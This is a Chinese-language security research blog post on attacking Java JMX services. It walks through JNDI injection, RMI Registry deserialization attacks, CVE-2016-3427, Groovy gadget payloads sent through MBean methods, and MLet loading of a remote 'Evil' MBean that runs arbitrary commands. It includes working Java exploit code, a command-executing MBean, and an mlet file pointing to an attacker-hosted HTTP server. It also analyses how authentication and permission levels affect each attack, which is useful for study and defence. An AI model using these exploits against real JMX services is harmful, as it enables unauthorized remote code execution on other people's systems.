Attack JMX Service的打开方式

有次漏洞挖掘项目中碰到了未授权JMX的情况,在复盘时发现对于整套攻击JMX服务的方式不太了解。趁着最近有时间 对JMX相关知识来次补充,遂写了此文。主要对JMX服务未鉴权时的利用方式、JMX各账户权限可对应执行的操作、Oracle官方对于漏洞的修复、鉴权后的攻击利用方式做了分析演示。在梳理完此文后基本上对攻击JMX服务有底了,也成功利用这些特性PWN掉了***产品,中间的过程也比较有趣,等有机会再做分享…

1、基础知识

JMX是JAVA1.5引入的新特性,全称为Java Management Extension,即Java管理扩展,是管理/监控应用程序、设备、系统对象的工具。这些被管理的对象都可以抽象为MBean进行表示,客户端连接到服务端来管理MBean,如查询MBean属性、调用MBean方法等操作。而MBean的代码定义是有要求的,需要实现一个接口,所有需要对外公开的方法都需要在该接口中声明。另外此接口要求在MBean类名后加上MBean后缀,这里例子中的MBean类是Hello,接口为HelloMBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//Hello.java
package org.example;

public class Hello implements HelloMBean {
private String name = "pwnull";
@Override
public String getName() {
return this.name;
}

@Override
public void setName(String newName) {
this.name = newName;
}

@Override
public String sayHello() {
return "hello: " + name;
}
}

HelloMBean接口:

1
2
3
4
5
6
7
8
9
10
11
//HelloMBean.java
package org.example;

public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}

对于管理器而言,这些MBean中公开的方法,最终会被JMX转化为属性( Attribute )、调用( Invoke )、监听( Listener )等概念。默认情况下每个Java进程都运行着MBean管理服务,使用ManagementFactory.getPlatformMBeanServer()获取到MBeanServer后可对MBean进行操作。下面的例子模拟管理器注册MBean并显示当前java进程中的所有MBean

如果想让我们的MBean在管理器上可调用,那么需要指定一个ObjectName对象,关于对象名称的详细语法可参考:https://www.oracle.com/java/technologies/javase/management-extensions-best-practices.html。

Object Name 在注册MBean时用于指定名称,在查询的时候可以指定正则用于查询,去匹配名称符合正则条件的MBean。每个Object Name都需要包含一个type关键属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//MBeanExample.java
package org.example;

import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;

public class MBeanExample {
public static void main(String[] args) throws Exception {
// Create a new MBean instance from Hello (HelloMBean interface)
Hello mbean = new Hello();
// Create an object name,
ObjectName mbeanName = new ObjectName("org.example.Hello:type=HelloMBean");
// Connect to the MBean server of the current Java process
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
server.registerMBean(mbean, mbeanName);

for(Object object : server.queryMBeans(new ObjectName("*:*"), null))
{
System.out.println( ((ObjectInstance)object).getObjectName() );
}
System.out.println("Press any key to exit");
System.in.read();
}
}

使用jconsole连接本地的org.example.MBeanExample类起的9052进程后,可以设置MBean的属性/调用方法,如我们这里的sayHello()方法

调用sayHello()方法

也可以开启远程服务,将Hello、HelloMBean、MBeanExample打包为jmxserver.jar包后,用如下命令开启调试功能、JMX监听端口并设置非认证。这里为演示命令执行的效果,将groovy-2.3.9.jar添加到classpath中,方便我们后续利用Groovy Gadget

1
java -Xmx5g -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005  -Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -cp jmxserver.jar;C:\tools\apache-maven-3.8.6-repository\org\codehaus\groovy\groovy\2.3.9\groovy-2.3.9.jar org.example.MBeanExample

使用nmap扫描其端口可以看到,2222端口MBean管理服务实际上是基于RMI Registry的,对象名称为jmxrmi,stub端口为56139

2、攻击JMX

我们按照整体调用流程、过程中存在的利用点、官方对漏洞的修复措施及后续利用进行分析,也为了方便理解,个人将攻击JMX服务分为5种利用方式:

1、jmx-url连接地址可控的JNDI注入利用方式

2、攻击RMI Registry的利用方式

3、RMI层”自定义”方法newClient利用方式

4、JMX层MBean方法getLoggerLevel/gcClassHistogram利用方式

5、MLET动态加载Evil MBean的利用方式

第一种是针对JMX客户端的利用方式,也捎带看一下。后面几种都是针对JMX服务,其中234都需要目标ClassPath存在可用的Gadget链,而第5个MLET动态加载是载入执行攻击者创建的恶意MBean类方法,所以没有Gadget的限制。从整体看,JMX客户端与服务端交互的流程及利用点如下:

1、客户端使用javax.naming.InitialContext#lookup获取到名称为”jmxrmi”的 Stub代理对象,当JMX url可控时,会造成JNDI注入的问题。这是第一个利用点

2、客户端调用javax.management.remote.rmi.RMIServer#newClient去获取RMIConnectionImpl Stub代理对象。当JMX服务需要验证时,会使用JAAS-based authenticator进行权限校验:根据服务的启动参数及jmxremote.password、jmxremote.access配置文件去匹配,当校验通过后返回代理对象。
这部分会涉及两个利用点:
a、JMX底层是依据RMI进行通信,当JDK版本在低版本时,可以使用攻击RMI Registry的exp进行攻击,可利用bind/lookup方法传输恶意序列数据/UnicastRef链利用。这是第二个利用点
b、newClient方法符合我们在攻击RMI中提到的应用层反序列化问题情况,参数为Object类型,可以塞入我们的恶意Padyload数据。这是第三个利用点

3、客户端invoke调用RMIConnectionImpl Stub代理对象的方法去操作MBean/获取MBean信息
这部分会涉及两个攻击点:
a、JMX层在还原MBean方法参数时也是采用反序列化方式进行还原的,所以可将恶意数据塞入默认MBean的有参方法。这是第四个利用点
b、在客户端连接成功创建MBean时,可调用MLET动态加载的方式去加载攻击者构建的Evil MBean完成利用。这是第五个利用点

下面是详细分析及密码验证后的绕过方式

2.1 jmx-url连接地址可控的JNDI注入利用方式

使用Java代码JMXConnectorFactory#connect连接JMX服务端时,会调用到InitialContext#lookup去获取名称为”jmxrmi”的远端对象。当JMX url可控时,会造成JNDI注入的问题,调用栈及演示如下

1
2
3
4
5
6
JMX JNDI Gadget:
javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:270)
javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:287)
javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1922)
javax.management.remote.rmi.RMIConnector.findRMIServerJNDI(RMIConnector.java:1955)
javax.naming.InitialContext.lookup(InitialContext.java:417)

起个恶意LDAP服务,javaReferenceAddress放置我们的Groovy1链的Padyload,可以看到JMX客户端在JDK高版本的情况下成功触发命令执行。绕过原理见先前文章:当我们谈论JNDI注入时,我们在谈论什么

JMX JNDI注入调用栈:

2.2 攻击RMI Registry的利用方式

因为JMX底层也是依据RMI进行通信,所以当JDK版本在低版本时,也可以使用攻击RMI Registry的exp进行攻击。且这种攻击方式的触发点是在RMI层,还未执行到JMX权限校验部分,所以不受JMX权限的限制

JEP290前的JDK8u112版本,使用默认ysoserial中的ysoserial.exploit.RMIRegistryExploit测试成功

JEP290后的JDK131版本使用 UnicastRef 链绕过成功、141可使用改造后的lookup()+UnicastRef 链进行绕过

测试JDK191版本下,在sun.management.jmxremote.SingleEntryRegistry#singleRegistryFilter触发检查,导致反序列化失败。

JMX服务端调试情况,在singleRegistryFilter触发白名单检查报错

攻击端:

2.3 RMI层”自定义”方法newClient利用方式-CVE-2016-3427

当客户端使用JMXConnectorFactory.connect去连接服务端时,最终调用到javax.management.remote.rmi.RMIServerImpl_Stub#newClient发起连接。其实该方法符合我们在攻击RMI Registry中提到的“应用层反序列化问题”情况:newClient方法参数为Object类型,可以塞入我们的恶意Padyload(利用JMXConnector.CREDENTIALS配置添加),exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception {
Object obj = new Groovy1().getObject("calc");
connectWithJmxUrlByObject(obj);
}

private static void connectWithJmxUrlByObject(Object credentials) throws MalformedURLException, IOException {
String url = "service:jmx:rmi:///jndi/rmi://192.168.232.145:2222/jmxrmi";
System.out.println("Trying to connect to " + url + " ...");
Map<String, Object> props = new HashMap<>();
props.put(JMXConnector.CREDENTIALS, credentials);
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), props);
System.out.println("Connected: " + connector.getConnectionId());
System.out.println();
connector.close();
}

成功在JDK8u77-JMX服务上执行成功:

该漏洞在JDK8u91时被修复,新增了javax.management.remote.rmi.RMIJRMPServerImpl.ExportedWrapper类继承自DeserializationChecker接口,该类实现了check、checkProxyClass方法检查参数类型,限制只能为[Ljava.lang.String;、java.lang.String类型。

在该版本的环境下,RMI层使用sun.rmi.server.UnicastServerRef#unmarshalParameters方法还原”自定义方法”参数时,由于jmx服务注册Target的weakImpl#referent为ExportedWrapper,所以在还原操作时会调用到ExportedWrapper#check检查序列化是否在白名单中,很显然Groovy1外部包装类AnnotationInvocationHandler不在白名单中,反序列化操作报错

javax.management.remote.rmi.RMIJRMPServerImpl.ExportedWrapper实现DeserializationChecker接口

JMX服务端调用sun.rmi.server.UnicastServerRef#unmarshalParameters还原newClient的参数:由于实现了DeserializationChecker接口,所以会走checked流程。普通RMI服务的自定义方法会走unchecked流程

服务端执行反序列化操作还原参数检查白名单:javax.management.remote.rmi.RMIJRMPServerImpl.ExportedWrapper#check

此漏洞被分配编号CVE-2016-3427,在JDK8u91时被修复

2.4 JMX层MBean方法getLoggerLevel/gcClassHistogram利用方式

当JMX客户端调用createMBean/getObjectInstance/invoke等方法时,服务端处理时会先经过sun.rmi.server.UnicastServerRef#dispatch进行分发,当不执行RMI内置的bind/lookup/dirty方法时,会进入”调用自定义方法”的逻辑

客户端调用createMBean/getAttribute等内置方法时,服务端到达javax.management.remote.rmi.RMIConnectionImpl#invoke中:

1、调用java.rmi.MarshalledObject#get还原参数值

2、调用到javax.management.remote.rmi.RMIConnectionImpl#doOperation根据客户端调用具体方法进行分发处理,包括createMBean、getAttribute、getObjectInstance、getObjectInstance等方法

java.rmi.MarshalledObject#get

javax.management.remote.rmi.RMIConnectionImpl#doOperation

在使用java.rmi.MarshalledObject#get还原调用方法的参数值时,会直接调用readObject进行反序列化操作。我们只需要找到MBean中带参数的方法,将我们的恶意数据填充即可,对应exp为ysoserial中的ysoserial.exploit.JMXInvokeMBean,该exp通过调用对象名称为”java.util.logging:type=Logging”的MBean的getLoggerLevel方法触发

1
2
3
4
5
6
7
8
9
String serverName = "192.168.232.145";
String servicePort = "2222";
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
Object payloadObject = Utils.makePayloadObject("Groovy1", "mspaint.exe");
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
jmxConnector.close();

jconsole查看java.util.logging:type=Logging为默认的MBean,另外还有很多MBean的方法也可以用:java.lang:type=Threading#getThreadCpuTime、java.lang:type=Threading#getThreadInfo、com.sun.management:type=DiagnosticCommand#gcClassHistogram等等

com.sun.management:type=DiagnosticCommand#gcClassHistogram利用

2.5 MLET动态加载Evil MBean利用方式

除了利用本身存在的MBean,我们也可以自行添加MBean进行利用,可以使用javax.management.loading.MLet MBean 并调用其getMBeansFromURL操作指示JMX服务端从远端加载注册构建的恶意MBean,这样就可以调用我们创建的的MBean操作而不需要服务端ClassPath存在Gadget。这种从外部加载MBean的方式在官方也有说明 https://docs.oracle.com/javase/7/docs/technotes/guides/management/agent.html

分析下getMBeansFromURL方法是如何操作的,javax.management.loading.MLet#getMBeansFromURL(java.lang.String)中分为2步:

1、加载mlet文件解析标签

2、当创建MBean指定的class在本地ClassPath中找不到时,则使用MLET classloader去外部地址(第一步得到的codebase+archive属性值)进行加载

javax.management.loading.MLetParser#parse解析<mlet>标签的内容并放入attributes

接着返回到getMBeansFromURL方法调用com.sun.jmx.mbeanserver.JmxMBeanServer#createMBean创建MBean

调用到com.sun.jmx.interceptor.DefaultMBeanServerInterceptor#createMBean创建MBean时,会检查是否有instantiate、registerMBean权限。如果未开启SecurityManager,则会跳过检查

最终在 com.sun.jmx.mbeanserver.MBeanInstantiator#loadClass中使用MLET classloader去加载org.example.Evil类(codesource就是mlet文件中codebase+archive属性值)。这里使用Class.forName(className, false, loader);初始化的选项为false,不会执行静态代码块中的代码。所以我们需要选择invoke调用MBean的恶意方法进行利用

针对前文在2222端口开启的JMX服务,复现下MLET这种利用方法:

1、创建Evil类及EvilMBean接口(恶意操作为runCommand),并将其打包为JmxEvilBean.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//EvilMBean.java
package org.example;

public interface EvilMBean
{
public String runCommand(String cmd);
}

//Evil.java
package org.example;

import java.io.*;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}

2、创建MLET文件

1
<mlet code="org.example.Evil" archive="JmxEvilBean.jar" name="MLetCompromise:name=evil,id=10" codebase="http://192.168.232.1:3333"></mlet>

将JmxEvilBean.jar、mlet文件放在web服务下:python -m SimpleHTTPServer 3333

3、EXP利用:连接服务、创建MLet MBean、invoke调用getMBeansFromURL加载外部Evil MBean、invoke调用Evil MBean的runCommand操作返回执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
String serverName = "192.168.232.145";
String port = "2222";
String command = "ipconfig";
//1、连接JMX服务
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
JMXConnector c = JMXConnectorFactory.connect(u);
MBeanServerConnection m = c.getMBeanServerConnection();
//2、创建MBean,类为javax.management.loading.MLet、name为test.Mbean:type=MLet,id=1
ObjectInstance evil = m.createMBean("javax.management.loading.MLet", new ObjectName("test.Mbean:type=MLet,id=1"));
//3、调用MBean的getMBeansFromURL操作,从http://192.168.232.1:3333/mlet加载mlet文件创建新的MBean
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]{"http://192.168.232.1:3333/mlet"},new String[] { String.class.getName() } );

HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
//4、invoke调用新的MBean的runCommand操作并返回结果
ObjectInstance evil_bean = ((ObjectInstance)nextObject);
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);

exp运行后,可以在jconsole中看到创建的test.Mbean:type=MLet,id=1、MLetCompromise:name=evil,id=10 MBean

EXP也回显了ipconfig命令执行的结果

需要注意的是:当服务未重启的情况下,后续利用直接invoke调用runCommand就可以了,不需要再次创建MBean

3、密码验证

第二章节分析的是JMX服务未开启权限验证及SSL验证时的漏洞利用情况,另外分析下当开启权限验证时漏洞利用的情况有什么变化。默认启动JMX管理服务时(不指定com.sun.management.jmxremote.authenticate配置),远程客户端连接时就需要通过验证。而验证所需的密码-权限是以明文存储在服务端/jre/lib/management/目录的jmxremote.password、jmxremote.access文件中的,且需要设置这两个文件的权限为:除文件所有者具有控制权,其它用户无任何权限。否则启动时会报错:sun.management.AgentConfigurationError。如下是启动命令

1
java -Xmx5g -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -Dcom.sun.management.jmxremote.port=2222 -Dcom.sun.management.jmxremote.ssl=false -cp jmxserver.jar;C:\tools\apache-maven-3.8.6-repository\org\codehaus\groovy\groovy\2.3.9\groovy-2.3.9.jar org.example.MBeanExample

启动截图及文件权限如下:

使用客户端jconsole 以只读账户guest password1进行连接

也可以使用JAVA代码连接:

1
2
3
4
5
6
HashMap env = new HashMap<>();
env.put("jmx.remote.credentials",new String[]{"guest","password1"});
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.232.145:2222/jmxrmi");
JMXConnector c = JMXConnectorFactory.connect(u,env);
MBeanServerConnection m = c.getMBeanServerConnection();
System.out.println(m.getMBeanCount());

文件权限设置参考:https://docs.oracle.com/javase/7/docs/technotes/guides/management/security-windows.html

分析下当加入权限验证后,JMX服务端的检测逻辑是怎样的?当我们获取了一个低权限/只读权限账户时可以做哪些事情?我们从连接服务端到执行MBean操作的整体流程来看,分为几步:

1、客户端使用javax.naming.InitialContext#lookup获取到名称为”jmxrmi”的 Stub代理对象,即下图的变量server;

2、客户端调用javax.management.remote.rmi.RMIServer#newClient去获取RMIConnectionImpl Stub代理对象,服务端javax.management.remote.rmi.RMIJRMPServerImpl.ExportedWrapper#newClient执行JAAS-based authenticator进行权限校验:根据服务的启动参数及jmxremote.password、jmxremote.access配置文件去匹配,当校验通过后返回代理对象,即下图的变量c;

3、客户端invoke调用RMIConnectionImpl Stub代理对象的方法去操作MBean/获取MBean信息。在另一边的JMX服务端会根据objid确认处理客户端此次请求逻辑的Target,[0:0:0,0]、[0:0:0,2] 这是在之前攻击RMI中分析过的RegistryImpl_Stub、DGCImpl_Stub,而涉及JMX是另外几个Target,在本实例中的objID为:[613d5ccd:18470553d20:-7fff, -4868886411976892153]、[613d5ccd:18470553d20:-7ffa, -8893277592355947578],如下图是客户端拿到两次请求的返回对象调试情况

当调用MBean的具体操作方法时,如javax.management.remote.rmi.RMIConnection#getConnectionId,在服务端会调用到javax.management.remote.rmi.RMIConnectionImpl#getConnectionId进行处理

添加鉴权前后,由于服务端在启动时添加的Target不同,在添加鉴权后 mbeanServer的值从DefaultMBeanServerInterceptor变为MBeanServerAccessController,对于每个操作具体需要的权限都在MBeanServerAccessController中进行判断(objid与上面演示的不同,因为是后面的补图)

无鉴权时:

1
2
3
4
5
6
javax.management.remote.rmi.RMIConnectionImpl#createMBean(java.lang.String, javax.management.ObjectName, javax.security.auth.Subject)
javax.management.remote.rmi.RMIConnectionImpl#doPrivilegedOperation
javax.management.remote.rmi.RMIConnectionImpl.PrivilegedOperation#run
javax.management.remote.rmi.RMIConnectionImpl#doOperation
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor#createMBean(
....

有鉴权时:

1
2
3
4
5
6
javax.management.remote.rmi.RMIConnectionImpl#createMBean(java.lang.String, javax.management.ObjectName, javax.security.auth.Subject)
javax.management.remote.rmi.RMIConnectionImpl#doPrivilegedOperation
javax.management.remote.rmi.RMIConnectionImpl.PrivilegedOperation#run
javax.management.remote.rmi.RMIConnectionImpl#doOperation
com.sun.jmx.remote.security.MBeanServerAccessController#createMBean 当加上鉴权后在这里发生了变化
...

翻了下源码统计下jmx配置文件中的权限可对应调用MBean的哪些操作。这些操作可以辅助我们对JMX服务进行进一步的测试:

read权限可执行的操作

1
getAttribute、getAttributes、getDefaultDomain、getDomains、getMBeanCount、getMBeanInfo、getObjectInstance、isInstanceOf、isRegistered、queryMBeans、queryNames、addNotificationListener、removeNotificationListener

Write权限可执行的操作

1
setAttribute、setAttributes

Unregister权限可执行的操作

1
unregisterMBean

write权限、非MLet#addURL/getMBeansFromURL方法可执行的操作

1
invoke

read权限可以执行查询操作,如列出全部MBean的信息

我们以低权限账户guest登录后再次测试如上几种利用方式

3.1 影响地址可控的JNDI注入 & RMI Registry利用方式 & CVE-2016-3427

地址可控的JNDI注入利用在密码鉴权流程之前,与是否鉴权无关,只与JDK版本有关

RMI方式的利用在密码鉴权流程之前,与是否鉴权无关,只与JDK版本有关

CVE-2016-3427是在RMI层-还原自定义方法的参数时触发的,与是否鉴权无关,只与JDK版本有关

3.2 影响JMX层MBean方法的利用方式

由于通过JMX层MBean方法getLoggerLevel/gcClassHistogram利用方式是在javax.management.remote.rmi.RMIConnectionImpl#invoke 还原参数时触发的漏洞,并未执行到判断权限的位置。所以使用只读权限的guest账户即可继续进行利用

3.3 影响MLET加载Evil MBean利用方式

当未授权情况下JMX服务下MLET方式利用的步骤

1、客户端调用JMXConnectorFactory.connect连接到JMX服务端

2、调用createMBean创建javax.management.loading.MLet MBean

3、invoke调用MLet#getMBeansFromURL操作从外部获取Evil MBean

4、invoke调用Evil MBean的runCommand操作执行命令

当以低权限账户登录后,在第2步com.sun.jmx.remote.security.MBeanServerAccessController#createMBean创建bean的起点使用checkCreate(className)检查权限,执行到com.sun.jmx.remote.security.MBeanServerFileAccessController#checkAccess代码逻辑:1、获取当前登录用户的权限;2、判断权限是否包括create权限;3、如果无create权限或未登录用户则报错:Access denied! Invalid access level for requested MBeanServer operation

而我们登录使用的guest用户只有read权限,没法执行createBean操作,所以在执行EXP的客户端报错:

另外如果登录用户有create权限还是不能invoke调用MLet#getMBeansFromURL操作的,因为在invoke前会检查write、MLetMethods权限,write权限与上面判断read权限的流程一致,而MLetMethods权限是在com.sun.jmx.remote.security.MBeanServerAccessController#checkMLetMethods中判断的,如果调用javax.management.loading.MLet的addURL/getMBeansFromURL都会报错退出

4、参考

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/853f699a5273

https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/

https://www.cnblogs.com/afanti/p/12468693.html

https://github.com/veracode-research/solr-injection#2-cve-2019-0192-deserialization-of-untrusted-data-via-jmxserviceurl

https://pwnull.github.io/2022/jndi-injection-history/

https://pwnull.github.io/2022/Exploring-JAVA-RMI's-offensive-and-defensive-history/


Attack JMX Service的打开方式
https://pwnull.github.io/2022/How-to-attack-RMI-based-JMX-services/
作者
pwnull
发布于
2022年11月19日
许可协议